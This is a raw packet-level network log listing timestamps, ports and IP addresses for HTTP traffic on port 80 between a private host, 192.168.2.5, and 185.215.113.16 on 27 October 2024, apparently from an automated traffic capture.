Oct 27, 2024 17:17:25.977948904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978028059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978060007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978089094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978089094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978101969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978151083 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978240967 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978276968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978311062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978359938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978360891 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978394032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978425026 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978430986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978460073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978487015 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978565931 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978598118 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978647947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978676081 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978679895 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978707075 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978713989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978746891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978780031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978810072 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978831053 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978848934 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.978879929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978913069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978946924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.978976011 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.979057074 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.979119062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.979168892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.979199886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.979458094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.982603073 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.982641935 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.982672930 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.982692003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.982724905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.982758045 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:25.982758045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.982793093 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:25.982933044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.020389080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.020421982 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.020454884 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.020592928 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.020592928 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.026160002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.026192904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.026225090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.026261091 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.058252096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.058284998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.058315992 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.058317900 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.058350086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.058383942 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095045090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095067978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095082045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095097065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095112085 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095124960 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095127106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095143080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095151901 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095159054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095168114 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095189095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095210075 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095211029 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095232010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095232964 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095246077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095261097 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095267057 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095276117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095289946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095298052 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095304966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095330000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095343113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095350981 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095357895 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095364094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095375061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095388889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095395088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095408916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095417023 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095424891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095432043 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095439911 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095446110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095448971 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095459938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095469952 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095504045 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095504045 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095624924 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095700026 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095742941 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095751047 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095757008 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095792055 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095797062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095863104 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095907927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095921040 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095942020 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095942974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095957994 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095964909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.095972061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.095993042 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.096225023 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096347094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096360922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096379042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096400023 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.096400976 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096414089 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096422911 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.096427917 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096448898 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.096509933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096523046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096539974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096544027 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.096560001 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.096563101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096577883 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096592903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096716881 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.096873045 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096887112 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096900940 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.096921921 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.108366966 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.128704071 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.139452934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.139492989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.139528990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.139559984 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.143727064 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.143760920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.143793106 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.143794060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.143855095 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.175632000 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.175705910 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.175755024 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.175790071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.175818920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.175822020 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.175906897 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.213711023 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.213762999 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.213789940 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.213793993 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.213845968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.213877916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.213915110 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.213929892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.213960886 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.213963032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214014053 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214045048 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214046001 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214080095 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214111090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214140892 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214176893 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214209080 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214226007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214260101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214287043 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214291096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214343071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214371920 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214391947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214427948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214476109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214505911 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214512110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214545012 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214554071 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214584112 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214612007 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214623928 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214658022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214689970 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214723110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214735985 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214776039 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214803934 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214824915 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214855909 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214884996 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.214889050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214920044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.214983940 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215018988 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215051889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215084076 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215114117 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215116978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215167046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215193987 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215215921 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215249062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215277910 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215281010 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215353966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215406895 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215409994 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215440989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215472937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215476990 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215504885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215534925 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215538025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215573072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215622902 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215637922 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215656042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215684891 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215687990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215720892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215753078 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215754032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215787888 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215816975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215816975 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215847969 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215881109 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.215883017 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215910912 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.215939999 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.258594036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.258624077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.258657932 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.258701086 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.258713007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.258744001 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.261221886 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.261255026 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.261282921 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.261288881 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.261322021 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.261336088 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.261354923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.261408091 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.293075085 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.293131113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.293160915 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.293194056 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.293194056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.293778896 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.331749916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.331779957 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.331815958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.331845045 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.331850052 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.331902981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.331931114 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.331953049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.331996918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332046986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332077980 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332096100 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332107067 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332138062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332171917 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332199097 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332220078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332252979 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332283974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332317114 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332343102 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332346916 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332395077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332431078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332458019 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332463026 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332490921 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332524061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332524061 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332552910 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332585096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332586050 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332628012 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332634926 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332668066 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332700014 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332704067 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332729101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332776070 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332778931 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332809925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332843065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332891941 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332923889 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.332923889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332958937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.332990885 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333050013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333076000 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.333079100 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333128929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333177090 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333177090 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.333209038 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333242893 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333273888 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333306074 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333307028 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.333357096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333386898 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.333408117 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333435059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333467007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333498955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333538055 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.333545923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333579063 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333611965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333646059 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333647966 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.333678007 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333710909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:26.333710909 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.333988905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334021091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:26.334023952 CET	49714	80	192.168.2.5	185.215.113.16
